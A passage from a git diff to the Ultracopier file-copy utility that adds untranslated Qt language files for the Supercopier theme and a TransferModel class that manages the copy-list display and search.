+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/tr/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/tr/translation.ts
new file mode 100644
index 0000000..78e326c
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/tr/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins-alternative/Themes/Supercopier/Languages/zh/translation.ts b/plugins-alternative/Themes/Supercopier/Languages/zh/translation.ts
new file mode 100644
index 0000000..6ba3c00
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/Languages/zh/translation.ts
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>Themes</name>
+ <message>
+ <location filename="../../interface.cpp" line="180"/>
+ <source>Buy the Ultimate version to fund development</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="262"/>
+ <source>File %1/%2, size: %3/%4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="476"/>
+ <source>Copy list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="478"/>
+ <source>Move list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="899"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="900"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="901"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="903"/>
+ <source>File Name, 0KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1086"/>
+ <location filename="../../interface.cpp" line="1098"/>
+ <location filename="../../interface.cpp" line="1110"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.cpp" line="1185"/>
+ <location filename="../../interface.cpp" line="1189"/>
+ <location filename="../../interface.cpp" line="1191"/>
+ <source>%1 %2% of %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ThemesFactory</name>
+ <message>
+ <location filename="../../factory.cpp" line="197"/>
+ <source>Don&apos;t close if errors are found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="198"/>
+ <source>Never close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="199"/>
+ <source>Always close</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../factory.cpp" line="386"/>
+ <location filename="../../factory.cpp" line="401"/>
+ <location filename="../../factory.cpp" line="416"/>
+ <source>Select a color</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>interfaceCopy</name>
+ <message>
+ <location filename="../../interface.ui" line="35"/>
+ <source>From:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="72"/>
+ <source>To:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="125"/>
+ <source>Close at the end of the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="223"/>
+ <source>&amp;More</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="243"/>
+ <source>&amp;Pause</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="257"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="268"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="326"/>
+ <source>Transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="482"/>
+ <source>Delete the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="537"/>
+ <source>Export the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="563"/>
+ <source>Import the transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="618"/>
+ <source>Previous</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="625"/>
+ <source>Next</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="738"/>
+ <source>Interface</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="349"/>
+ <source>Move the selected items to the top</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="283"/>
+ <source>Limit copy speed to:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="375"/>
+ <source>Move up the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="401"/>
+ <source>Move down the selected items</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="427"/>
+ <source>Move the selected items to the bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="453"/>
+ <source>Add file/folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="508"/>
+ <source>Search</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="660"/>
+ <location filename="../../interface.ui" line="729"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="680"/>
+ <source>Export the errors into transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="719"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="724"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="775"/>
+ <source>Add file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="784"/>
+ <source>Add folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="793"/>
+ <source>Move file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="802"/>
+ <source>Move folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="811"/>
+ <source>Copy file(s)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../interface.ui" line="820"/>
+ <source>Copy folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>themesOptions</name>
+ <message>
+ <location filename="../../themesOptions.ui" line="230"/>
+ <source>Show dual progression</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="172"/>
+ <source>Show speed as main information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="35"/>
+ <source>Use</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="41"/>
+ <source>Start with the &quot;more button&quot; pushed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="61"/>
+ <source>Minimize on close to systray</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="71"/>
+ <source>At the end of the copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="97"/>
+ <location filename="../../themesOptions.ui" line="121"/>
+ <source>Limit copy speed to</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="131"/>
+ <source> KB/s</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="166"/>
+ <source>Informations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="204"/>
+ <source>Display</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="210"/>
+ <source>Speed with progress bar</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="240"/>
+ <source>Progression color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="259"/>
+ <source>Click to edit the color</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="220"/>
+ <source>Show progression in the title</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../themesOptions.ui" line="51"/>
+ <source>Always on top</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/StructEnumDefinition.h b/plugins-alternative/Themes/Supercopier/StructEnumDefinition.h
index c1758f4..c1758f4 100644
--- a/plugins/CopyEngine/Ultracopier-0.3/StructEnumDefinition.h
+++ b/plugins-alternative/Themes/Supercopier/StructEnumDefinition.h
diff --git a/plugins-alternative/Themes/Supercopier/TransferModel.cpp b/plugins-alternative/Themes/Supercopier/TransferModel.cpp
new file mode 100644
index 0000000..6ce9b92
--- /dev/null
+++ b/plugins-alternative/Themes/Supercopier/TransferModel.cpp
@@ -0,0 +1,569 @@
+#include "TransferModel.h"
+
+#define COLUMN_COUNT 3
+
+QIcon *TransferModel::start=NULL;
+QIcon *TransferModel::stop=NULL;
+
+TransferModel::TransferModel()
+{
+ /// \warning to prevent Must construct a QGuiApplication before QPixmap IN STATIC WINDOWS VERSION ONLY
+ if(TransferModel::start==NULL)
+ TransferModel::start=new QIcon(QStringLiteral(":/resources/player_play.png"));
+ if(TransferModel::stop==NULL)
+ TransferModel::stop=new QIcon(QStringLiteral(":/resources/player_pause.png"));
+ currentIndexSearch=0;
+ haveSearchItem=false;
+ facilityEngine=NULL;
+}
+
+int TransferModel::columnCount( const QModelIndex& parent ) const
+{
+ return parent == QModelIndex() ? COLUMN_COUNT : 0;
+}
+
+QVariant TransferModel::data( const QModelIndex& index, int role ) const
+{
+ int row,column;
+ row=index.row();
+ column=index.column();
+ if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
+ return QVariant();
+
+ const TransfertItem& item = transfertItemList.at(row);
+ if(role==Qt::UserRole)
+ return item.id;
+ else if(role==Qt::DisplayRole)
+ {
+ switch(column)
+ {
+ case 0:
+ return item.source;
+ break;
+ case 1:
+ return item.size;
+ break;
+ case 2:
+ return item.destination;
+ break;
+ default:
+ return QVariant();
+ }
+ }
+ else if(role==Qt::DecorationRole)
+ {
+ switch(column)
+ {
+ case 0:
+ if(stopId.contains(item.id))
+ return *stop;
+ else if(startId.contains(item.id))
+ return *start;
+ else
+ return QVariant();
+ break;
+ default:
+ return QVariant();
+ }
+ }
+ else if(role==Qt::BackgroundRole)
+ {
+ if(!search_text.isEmpty() && (item.source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || item.destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1))
+ {
+ if(haveSearchItem && searchId==item.id)
+ return QColor(255,150,150,100);
+ else
+ return QColor(255,255,0,100);
+ }
+ else
+ return QVariant();
+ }
+ return QVariant();
+}
+
+int TransferModel::rowCount( const QModelIndex& parent ) const
+{
+ return parent == QModelIndex() ? transfertItemList.count() : 0;
+}
+
+quint64 TransferModel::firstId() const
+{
+ if(transfertItemList.count()>0)
+ return transfertItemList.first().id;
+ else
+ return 0;
+}
+
+QVariant TransferModel::headerData( int section, Qt::Orientation orientation, int role ) const
+{
+ if ( role == Qt::DisplayRole && orientation == Qt::Horizontal && section >= 0 && section < COLUMN_COUNT ) {
+ switch ( section ) {
+ case 0:
+ return facilityEngine->translateText(QStringLiteral("Source"));
+ case 1:
+ return facilityEngine->translateText(QStringLiteral("Size"));
+ case 2:
+ return facilityEngine->translateText(QStringLiteral("Destination"));
+ }
+ }
+
+ return QAbstractTableModel::headerData( section, orientation, role );
+}
+
+bool TransferModel::setData( const QModelIndex& index, const QVariant& value, int role )
+{
+ row=index.row();
+ column=index.column();
+ if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
+ return false;
+
+ TransfertItem& item = transfertItemList[row];
+ if(role==Qt::UserRole)
+ {
+ item.id=value.toULongLong();
+ return true;
+ }
+ else if(role==Qt::DisplayRole)
+ {
+ switch(column)
+ {
+ case 0:
+ item.source=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ case 1:
+ item.size=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ case 2:
+ item.destination=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ default:
+ return false;
+ }
+ }
+ return false;
+}
+
+/*
+ Return[0]: totalFile
+ Return[1]: totalSize
+ Return[2]: currentFile
+ */
+QList<quint64> TransferModel::synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions)
+{
+ loop_size=returnActions.size();
+ index_for_loop=0;
+ quint64 totalFile=0,totalSize=0,currentFile=0;
+ totalFile=0;
+ totalSize=0;
+ currentFile=0;
+
+ emit layoutAboutToBeChanged();
+ const QModelIndexList oldIndexes = persistentIndexList();
+ QModelIndexList newIndexes = oldIndexes;
+ QMap<int, quint64> oldMapping; // model index row in model before update, item id
+ QMap<quint64, int> newMapping; // item id, model index row in model after update
+
+ for ( int i = 0; i < oldIndexes.count(); i++ ) {
+ const QModelIndex& index = oldIndexes.at(i);
+ oldMapping[ index.row() ] = index.data( Qt::UserRole ).value<quint64>();
+ }
+
+ while(index_for_loop<loop_size)
+ {
+ const Ultracopier::ReturnActionOnCopyList& action=returnActions.at(index_for_loop);
+ switch(action.type)
+ {
+ case Ultracopier::AddingItem:
+ {
+ TransfertItem newItem;
+ newItem.id=action.addAction.id;
+ newItem.source=action.addAction.sourceFullPath;
+ newItem.size=facilityEngine->sizeToString(action.addAction.size);
+ newItem.destination=action.addAction.destinationFullPath;
+ transfertItemList<<newItem;
+ totalFile++;
+ totalSize+=action.addAction.size;
+ }
+ break;
+ case Ultracopier::MoveItem:
+ {
+ //bool current_entry=
+ if(action.userAction.position<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.moveAt<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.moveAt>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position==action.userAction.moveAt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, move at same position: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ transfertItemList.move(action.userAction.position,action.userAction.moveAt);
+ //newIndexes.move(action.userAction.position,action.userAction.moveAt);
+ }
+ break;
+ case Ultracopier::RemoveItem:
+ {
+ if(currentIndexSearch>0 && action.userAction.position<=currentIndexSearch)
+ currentIndexSearch--;
+ if(action.userAction.position<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ transfertItemList.removeAt(action.userAction.position);
+ currentFile++;
+ startId.remove(action.addAction.id);
+ stopId.remove(action.addAction.id);
+ internalRunningOperation.remove(action.addAction.id);
+ //newIndexes.remove(action.userAction.moveAt);
+ }
+ break;
+ case Ultracopier::PreOperation:
+ {
+ ItemOfCopyListWithMoreInformations tempItem;
+ tempItem.currentReadProgression=0;
+ tempItem.currentWriteProgression=0;
+ tempItem.generalData=action.addAction;
+ tempItem.actionType=action.type;
+ internalRunningOperation[action.addAction.id]=tempItem;
+ }
+ break;
+ case Ultracopier::Transfer:
+ {
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ stopId.remove(action.addAction.id);
+ if(internalRunningOperation.contains(action.addAction.id))
+ internalRunningOperation[action.addAction.id].actionType=action.type;
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to found entry for file %1: actionType: Transfer").arg(action.addAction.id));
+ }
+ break;
+ case Ultracopier::PostOperation:
+ {
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ startId.remove(action.addAction.id);
+ }
+ break;
+ case Ultracopier::CustomOperation:
+ {
+ bool custom_with_progression=(action.addAction.size==1);
+ //without progression
+ if(custom_with_progression)
+ {
+ if(startId.remove(action.addAction.id))
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ }
+ //with progression
+ else
+ {
+ stopId.remove(action.addAction.id);
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ }
+ if(internalRunningOperation.contains(action.addAction.id))
+ {
+ ItemOfCopyListWithMoreInformations &item=internalRunningOperation[action.addAction.id];
+ item.actionType=action.type;
+ item.custom_with_progression=custom_with_progression;
+ item.currentReadProgression=0;
+ item.currentWriteProgression=0;
+ }
+ }
+ break;
+ default:
+ //unknow code, ignore it
+ break;
+ }
+ index_for_loop++;
+ }
+
+ if(!oldIndexes.isEmpty())
+ {
+ const QSet<quint64> ids = oldMapping.values().toSet();
+
+ for ( int i = 0; i < transfertItemList.count(); i++ ) {
+ const TransferModel::TransfertItem& item = transfertItemList.at(i);
+
+ if ( ids.contains( item.id ) ) {
+ newMapping[ item.id ] = i;
+ }
+ }
+
+ for ( int i = 0; i < oldIndexes.count(); i++ ) {
+ const QModelIndex& index = oldIndexes.at(i);
+ const int newRow = newMapping.value( oldMapping.value(index.row()), -1 );
+ newIndexes[ i ] = newRow == -1 ? QModelIndex() : QAbstractTableModel::index( newRow, index.column(), index.parent() );
+ }
+ }
+
+ changePersistentIndexList( oldIndexes, newIndexes );
+ emit layoutChanged();
+ return QList<quint64>() << totalFile << totalSize << currentFile;
+}
+
+void TransferModel::setFacilityEngine(FacilityInterface *facilityEngine)
+{
+ this->facilityEngine=facilityEngine;
+}
+
+int TransferModel::search(const QString &text,bool searchNext)
+{
+ emit layoutAboutToBeChanged();
+ search_text=text;
+ emit layoutChanged();
+ if(transfertItemList.size()==0)
+ return -1;
+ if(text.isEmpty())
+ return -1;
+ if(searchNext)
+ {
+ currentIndexSearch++;
+ if(currentIndexSearch>=loop_size)
+ currentIndexSearch=0;
+ }
+ index_for_loop=0;
+ loop_size=transfertItemList.size();
+ while(index_for_loop<loop_size)
+ {
+ if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
+ {
+ haveSearchItem=true;
+ searchId=transfertItemList.at(currentIndexSearch).id;
+ return currentIndexSearch;
+ }
+ currentIndexSearch++;
+ if(currentIndexSearch>=loop_size)
+ currentIndexSearch=0;
+ index_for_loop++;
+ }
+ haveSearchItem=false;
